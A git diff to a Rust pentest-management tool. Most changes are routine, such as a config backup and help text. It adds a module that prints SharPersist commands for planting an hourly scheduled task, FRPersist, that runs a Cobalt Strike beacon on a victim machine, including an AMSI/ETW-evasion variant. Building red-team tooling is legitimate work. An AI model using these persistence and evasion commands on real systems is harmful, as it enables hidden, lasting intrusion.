diff --git a/pentest_tool/src/cli.rs b/pentest_tool/src/cli.rs index 1736bdd..d891bfb 100644 --- a/pentest_tool/src/cli.rs +++ b/pentest_tool/src/cli.rs @@ -14,6 +14,7 @@ use crate::start_pentest; use crate::get_user_input; use crate::menu; use crate::portscan_controls; +use crate::victim_commands; fn help(command: Option){ @@ -48,6 +49,7 @@ fn help(command: Option){ "exit" => {println!("Command:exit\nAliases:(none)\nThis command exits the pentest_tool, it will save all project infomation, and wait for all threads to re-join the main thread before exiting."); return;}, "settings" => {println!("\n\nThe settings file is located at ~/.config/pyro_pentest_tool/conf\n\nThe format is setting_name:setting_value.\n\nNeeded settings are\n project_files - the place to store current project files folders\n\n projtect_notes - the place to store current project notes\n\n tools_folder - the place to store custom tools like those downloaded from github\n\n upcoming_files - the place to store upcoming project files folders\n\n upcoming_notes - The place to store upcoming project note files\n\n box_template - the name of the distrobox you want to clone for project boxes\n\n terminal - the command you use to launch a terminal, while running a specific command: Ex: konsole -e \n\n cracking_rig - the user and host you use for a personal cracking rig in the openssh formating: Ex: pyro@cracking_rig or pyro@192.168.1.101 if you do not have a cracking rig the default is @n\n\n rockyou_location - the location on the cracking rig for the rockyou.txt file default is n\n\n rule_location - the location on the cracking rig for the one rule to rule them all file. Default is n\n\n pass_file - this is the location where you store your standard password spray file. If you do not have a custom one this tool provides one. The default is ~/.config/pyro_pentest_tool/passwordspary.md\n\n fingerprint - this is whether you want fingerprint authentication within your distroboxes, takes y/n\n\n vault_name - the name of your obsidian vault, default is notes\n\n"); return;}, "parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => {println!("Command:parse normal nmap file\nAliases: pnnf, parse nmap, pn\n\nThis command parses the normal output of an nmap scan (like if you just tee'd or >'d it to a file) and outputs in host:port or int the coablt strike tsv format. It will attempt to find the file within the active project's files folder, and if it can't find the file it will prompt you for input.")}, + "sharpersist command" | "spc" | "sharp scheduled task" | "sst" => {println!("Command: sharpersist command\nAliases: spc, sharp scheduled task, sst\n\nThis comand prints the commands to run to use sharpersist.exe to create a scheduled task that runs hourly called FRPersist.")}, "show scope" | "ss" | "show s" | "s s" | "scope" => {println!("Command:show scope\nAliases:ss, show s, s s, scope\n\nThis command displays the current project's scope as just the hosts in the scope table in your notes.")}, _ => () } @@ -84,6 +86,7 @@ prune distroboxes | pdb | prune clear | clear screen | cls parse nomral nmap file | pnnf | parse nmap | pn show scope | ss | show s | s s | scope + help | ? | -h ") } @@ -193,6 +196,7 @@ pub fn run_command(cmd: String, "parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => {portscan_controls::parse_normal_nmap_output(&active_project); return None;}, "show scope" | "ss" | "show s" | "s s" | "scope" => {let scope_res = info_controls::get_scope_entries(&active_project); if scope_res.is_some(){for host in scope_res.unwrap(){println!("{}", host)}}return None}, "port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => {portscan_controls::run_nmap_portscan(&active_project); return None;}, + "sharpersist command" | "spc" | "sharp scheduled task" | "sst" => {victim_commands::sharp_persist_command(&tools_dir); return None;}, _ => {help(None); println!("\n\n unknown command."); return None;} } } @@ -270,6 +274,7 @@ pub fn cli(interactive: bool, "; print_banner(banner); while loopize{ + project_controls::save_projects(&projects, &config_path); let active_project = get_active_project(&projects); print!(" Active Project: {}, {} diff --git a/pentest_tool/src/main.rs b/pentest_tool/src/main.rs index b987db1..2c6b53f 100644 --- a/pentest_tool/src/main.rs +++ b/pentest_tool/src/main.rs @@ -24,6 +24,7 @@ mod start_pentest; mod cli; mod menu; mod portscan_controls; +mod victim_commands; pub fn open_overwrite(path: &PathBuf) -> Option{ let file_create_res = fs::OpenOptions::new().create(true).write(true).open(path); diff --git a/pentest_tool/src/project_controls.rs b/pentest_tool/src/project_controls.rs index 510a568..fde235c 100644 --- a/pentest_tool/src/project_controls.rs +++ b/pentest_tool/src/project_controls.rs @@ -293,6 +293,15 @@ pub fn get_projects(config_path: &PathBuf, show: bool) -> Vec{ let mut mut_config_path = config_path.clone(); mut_config_path.pop(); mut_config_path.push("projects.conf"); + let mut bkup_config_path = mut_config_path.clone(); + bkup_config_path.pop(); + bkup_config_path.push("projects.conf.bkup"); + let bkup_result = fs::copy(&mut_config_path, &bkup_config_path); + if bkup_result.is_err(){ + let error = bkup_result.err().unwrap(); + println!("error backing up the projects.conf file!"); + println!("error: {}", error); + } let mut projects = Vec::new(); let projects_string = fs::read_to_string(mut_config_path).expect("error reading projects file"); let project_lines:Vec<&str> = projects_string.split("\n").collect(); diff --git a/pentest_tool/src/victim_commands.rs b/pentest_tool/src/victim_commands.rs new file mode 100644 index 0000000..308e145 --- /dev/null +++ b/pentest_tool/src/victim_commands.rs @@ -0,0 +1,32 @@ +use std::path::PathBuf; +use walkdir::WalkDir; +use crate::{get_user_input, Project}; + +pub fn sharp_persist_command(tools_dir: &PathBuf){ + let filename = "SharPersist.exe"; + let mut binary_path = String::new(); + for entry in WalkDir::new(tools_dir){ + let entry = entry.unwrap(); + let path = entry.path(); + if path.is_file() && path.file_name().unwrap() == filename{ + binary_path = path.to_str().unwrap().to_string(); + } + } + if get_user_input("will you be running this is cobalt strike?").to_lowercase().contains("y"){ + let beacon_path = get_user_input("excellent! Please enter the path to your beacon file on the victim machine."); + println!("how will you run it?"); + println!("1.) execute-assembly\n2.) inline-execute-assembly\n3.) from disk"); + match get_user_input("selection?").as_str(){ + "1" => println!("execute-assembly {} -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path), + "2" => println!("inlineExecute-Assembly --dotnetassembly {} --assemblyargs -t schtask -c \"{}\" -n FRPersist -m add -o hourly --etw --amsi", binary_path, beacon_path), + "3" => println!("upload {}\n\nrun .\\SharPersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path), + _ => println!("unknown selection") + } + return; + } + let file_to_run = get_user_input("path to the file you want to run for persistence?"); + println!("ok then, upload the following file to the machine"); + println!("{}", binary_path); + println!("C:\\path\\to\\your\\sharpersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", file_to_run); + return; +} \ No newline at end of file